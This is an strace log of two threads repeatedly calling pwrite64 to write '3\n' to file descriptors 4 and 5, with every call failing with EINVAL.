[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
